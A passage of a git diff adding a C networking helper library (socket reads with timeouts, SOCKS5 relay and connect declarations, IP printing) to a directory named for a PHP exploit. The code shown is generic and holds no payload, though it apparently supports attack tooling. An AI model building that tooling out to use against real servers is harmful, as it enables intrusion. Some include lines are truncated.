while (n == -2); + +rlinetastrip: + *buf = realloc (*buf, strlen (*buf) + 1); + return (strlen (*buf)); + +rlinetaerr: + free (*buf); + return (-1); +} + + +int +net_rlinet (int fd, char *buf, int bufsize, int sec) +{ + int n; + unsigned long int rb = 0; + struct timeval tv_start, tv_cur; + + memset(buf, '\0', bufsize); + (void) gettimeofday(&tv_start, NULL); + + do { + (void) gettimeofday(&tv_cur, NULL); + if (sec > 0) { + if ((((tv_cur.tv_sec * 1000000) + (tv_cur.tv_usec)) - + ((tv_start.tv_sec * 1000000) + (tv_start.tv_usec))) > (sec * 1000000)) { + return (-1); + } + } + n = net_rtimeout(fd, net_readtimeout); + if (n <= 0) { + return (-1); + } + n = read(fd, buf, 1); + if (n <= 0) { + return (n); + } + rb++; + if (*buf == '\n') + return (rb); + buf++; + if (rb >= bufsize) + return (-2); /* buffer full */ + } while (1); +} + + +long int +net_rbuf (int fd, char **dst) +{ + long int ml = 0; + long int read_bytes; + int p; + + *dst = NULL; + + while ((p = net_rtimeout(fd, net_readtimeout)) == 1) { + *dst = (char *) realloc(*dst, ml + NET_BSIZE); + if (*dst == NULL) + return (-1); + ml += read_bytes = read(fd, *dst + ml, NET_BSIZE); + if (read_bytes == 0) { + *dst = (char *) realloc(*dst, ml); + if ((*dst == NULL) && (ml == 0)) { + return (1); + } else if (*dst == NULL) { + return (-1); + } else { + return (ml); + } + } + } + return (-1); +} + + +int +net_rbuft (int fd, char *dst, unsigned long int dsize) +{ + unsigned long int bl = 0, m; + int p; + + while (bl < dsize) { + p = net_rtimeout(fd, net_readtimeout); + if ((p == 0) || (p == -1)) { + return (-1); + } + + m = read(fd, dst + bl, (dsize - bl)); + if ((m == 0) || (m == -1)) { + return (-1); + } + bl += m; + } + return (1); +} + + +int +net_rtimeout (int fd, int sec) +{ + fd_set rset; + struct timeval tv; + int n, error, flags; + + error = 0; + flags = fcntl(fd, F_GETFL, 0); + n = fcntl(fd, F_SETFL, flags | O_NONBLOCK); + if (n == -1) + return (-1); + + FD_ZERO(&rset); + FD_SET(fd, &rset); + tv.tv_sec = sec; + tv.tv_usec = 0; + + /* now we wait until more data is received then the tcp low level watermark, + * which should be setted to 1 in this case (1 is default) + */ + + n = select(fd + 1, &rset, NULL, NULL, &tv); + if (n == 0) { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + errno = ETIMEDOUT; + return (-1); + } + if (n == -1) { + return (-1); + } + /* socket readable ? */ + if (FD_ISSET(fd, &rset)) { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + return (1); + } else { + n = fcntl(fd, F_SETFL, flags); + if (n == -1) + return (-1); + errno = ETIMEDOUT; + return (-1); + } +} + + +void +net_write (int fd, const char *str, ...) +{ + char tmp[1025]; + va_list vl; + int i; + + va_start(vl, str); + memset(tmp, 0, sizeof(tmp)); + i = vsnprintf(tmp, sizeof(tmp), str, vl); + va_end(vl); + +#ifdef DEBUG + printf("[snd] %s\n", tmp); +#endif + + send(fd, tmp, i, 0); + return; +} + + +int +net_printip (struct in_addr *ia, char *str, size_t len) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &ia->s_addr; + snprintf (str, len - 1, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + + return (0); +} + + +int +net_printipa (struct in_addr *ia, char **str) +{ + unsigned char *ipp; + + ipp = (unsigned char *) &ia->s_addr; + *str = calloc (1, 256); + if (*str == NULL) + return (1); + + snprintf (*str, 255, "%d.%d.%d.%d", ipp[0], ipp[1], ipp[2], ipp[3]); + *str = realloc (*str, strlen (*str) + 1); + + return ((*str == NULL) ? 1 : 0); +} + diff --git a/exploits/7350php/network.h b/exploits/7350php/network.h new file mode 100644 index 0000000..3e726d0 --- /dev/null +++ b/exploits/7350php/network.h @@ -0,0 +1,367 @@ +/* scut's leet network library ;) + * 1999 (c) scut + * + * networking code + */ + +#ifndef SCUT_NETWORK_H +#define SCUT_NETWORK_H + +#include +#include +#include +#include + +#define NET_READTIMEOUT 180 +#define NET_CONNTIMEOUT 60 +#define NET_IDENTTIMEOUT 15 + +#define IFI_NAME 16 +#define IFI_HADDR 8 + +/* struct ifi_info + * + * a linked list giving information about all the network interfaces available + * a pointer to this struct list is returned by net_get_ifi. + */ + +struct ifi_info { + char ifi_name[IFI_NAME]; + u_char ifi_haddr[IFI_HADDR]; + u_short ifi_hlen; + short ifi_flags; + short ifi_myflags; + struct sockaddr *ifi_addr; + struct in_addr ifi_saddr; + struct ifi_info *ifi_next; +}; + +#define IFI_ALIAS 1 + +typedef struct bound { + int bs; /* bound socket */ + unsigned short port; /* port we bound to */ + struct sockaddr bsa; /* bs_in */ +} bound; + +extern int net_readtimeout; +extern int net_conntimeout; +extern int net_identtimeout; + + +/* net_socks_connect + * + * relays through an open socks 5 server (NO AUTH type) + * returns a socket descriptor which is already connected + */ + +int net_socks_connect (char *socks, unsigned short int sport, + char *server, unsigned short int port, int sec); + + +/* net_socks_put_s5info + * + * insert socks 5 compatible relay information into socket s5s, + * used to relay over more then just one socks server + */ + +int net_socks_put_s5info (int s5s, char *server, + unsigned short int port, int sec); + + +/* net_parseip + * + * read an ip in the format "1.1.1.1:299" or "blabla:481" into + * the char pointer *ip and into the port *port + * + * return 0 on failure + * return 1 on success + */ + +int net_parseip (char *inp, char **ip, unsigned short int *port); + + +/* net_getlocalip + * + * give back the main IP of the local machine + * + * return the local IP address as string on success + * return NULL on failure + */ + +char *net_getlocalip (void); + + +/* net_peeraddress + * + * return a pointer to a string representation of the remote IP address of + * the already connected socket `socket' + * + * return NULL on failure + * return string pointer on succes + */ + +char * net_peeraddress (int socket); + + +/* net_addrpair + * + * find address pair of an established TCP connection of socket `socket'. + * + * return 0 on success + * return 1 on failure + */ + +int +net_addrpair (int socket, struct in_addr *src_ip, unsigned short int *src_prt, + struct in_addr *dst_ip, unsigned short int *dst_prt); + + +/* net_peername + * + * return a pointer that points to an alloced character array that contains + * the fully qualified hostname for the remote host that is connected using + * the socket descriptor `socket'. + + + * return NULL on failure + * return pointer to hostname or quad-dotted IP address + */ + +char *net_peername (int socket); + + +/* net_descriptify + * + * descriptify a socket `socket' ;) + * + * return -1 on failure + * return file descriptor on success + */ + +FILE *net_descriptify (int socket); + + +/* net_ident + * + * ident a connection identified by the host:port pairs on both sides, + * returning the ident in *ident + * + * return 1 on success + * return -1 on failure + */ + +int net_ident (char **ident, struct sockaddr_in *locals, unsigned short int localport, + struct sockaddr_in *remotes, unsigned short int remoteport); + + +/* net_accept + * + * accept a connection from socket s, and stores the connection + * into cs. + * wait a maximum amount of maxsec seconds for connections + * maxsec can also be zero (infinite wait, until connection) + * + * return 0 if no connection has been made within maxsec seconds + * return -1 if an error appears + * return the socket number if a connection has been made + */ + +int net_accept (int s, struct sockaddr_in *cs, int maxsec); + + +/* net_get_ifi + * + * get network interface information + * + * return NULL on failure + * return a pointer to a linked list structure ifi_info (see above) + */ + +struct ifi_info *net_ifi_get (int family, int doaliases); + + +/* net_ifi_free + * + * free the linked list associated with `tf'. + * + * return in any case + */ + +void net_ifi_free (struct ifi_info *tf); + + +/* net_testvip + * + * test if virtual ip/hostname is available for use on the local machine, + * + * return 1 if the ip can be used + * return 0 if the ip/host is not available + */ + +int net_testvip (char *ip); + + +/* net_bind + * + * bind a socket to an ip:port on the local machine, + * `ip' can be either NULL (bind to all IP's on the host), or a pointer + * to a virtual host name, or a real IP, or "*" for any. + * `port' can be either 0 (ephemeral port), or any free port. + * + * return NULL on failure + * return pointer to bound structure on success + */ + +bound *net_bind (char *ip, unsigned short int port); + + +/* net_boundfree + * + * free the bound structure pointed to by `bf' + * + * return in any case + */ + +void net_boundfree (bound *bf); + + +/* net_resolve + * + * resolve a hostname pointed to by `host' into a s_addr return value + * + * return the correct formatted `s_addr' for this host on success + * return 0 on failure + */ + +unsigned long int net_resolve (char *host); + + +/* net_assignaddr + * + * assign an IP address and port to a socket + * sourceip can be an IP or hostname that is available on the local host, + * or NULL/"*" to let the kernel choose one, same applies to sourceport, + * it can either be zero (ephemeral port choosen by the kernel) or a + * valid port number + * + * return 1 on success + * return 0 on failure + */ + +int net_assignaddr (int sd, char *sourceip, unsigned short int sourceport); + + +/* net_connect + * + * connect to the given `server' and `port' with a max timeout of `sec'. + * initialize the sockaddr_in struct `cs' correctly (ipv4), accept any + * ip "123.123.123.123" or hostname "localhost", "www.yahoo.de" as hostname. + * create a new socket and return either -1 if failed or + * the connected socket if connection has been established within the + * timeout limit. + * + * the routine is still IPv4 biased :-/ + * with `sourceip'/`sourceportÄ you MAY specify the source IP and source port + * to use for the connection, but you can set the ip or port to NULL/0, + * to choose the default IP and an ephemeral port. this was added later in + * this library, so please update your sources. + * + * return -1 on failure + * return socket if success + */ + +int net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip, + unsigned short int sourceport, int sec); + + +/* net_rtimeout + * + * waits max `sec' seconds for fd to become readable + * + * return -1 on error (errno set) + * return 1 on readability + */ + +int net_rtimeout (int fd, int sec); + + +/* net_rbuf + * + * allocate memory and read socket data to `dst' until the connection + * gets closed. + * + * return n if success (n = number of bytes read) + * return -1 if failed + */ + +long int net_rbuf (int fd, char **dst); +#define NET_BSIZE 4096 /* blocksize for pre-allocation */ + + +/* net_rbuft + * + * read `dsize' bytes into `dst' from `fd', with timeout + * + * return 1 on success + * return -1 on failure + */ +int net_rbuft (int fd, char *dst, unsigned long int dsize); + + +/* net_rlinet + * + * read a line from socket descriptor with timeout to buffer + * if sec = 0, then only a continuous stream of data is required, not + * an overall timeout. + * + * return -1 on timeout + * return 0 on connection close + * return length of readen line (including '\n') + * + * net_rlineta + * same as net_rlinet, but allocs the memory itself + */ + +int net_rlineta (int fd, char **buf, int sec); +int net_rlinet (int fd, char *buf, int bufsize, int sec); + + +/* net_tline + * + * return length if string `buf' with a maximum length of `bufsize' + * contains '\n' + * + * return -1 if no '\n' in string + */ + +int net_tline (char *buf, int bufsize); + + +/* net_write + * + * print a formatted string to a socket, see syntax of printf + * + * return in any case + */ + +void net_write (int fd, const char *str, ...); + + +/* net_printip + * + * print an IP address stored in the struct in_addr pointed to by `ia' to a + * string `str' with a maximum length of `len'. + * + * return 0 on success + * return 1 on failure + * + * net_printipa behaves the same way, except it allocates memory and let + * `*str' point to the string + */ + +int net_printip (struct in_addr *ia, char *str, size_t len); +int net_printipa (struct in_addr *ia, char **str); + + +#endif + diff --git a/exploits/7350php/network.o b/exploits/7350php/network.o new file mode 100644 index 0000000..cbe248a Binary files /dev/null and b/exploits/7350php/network.o differ -- cgit v1.3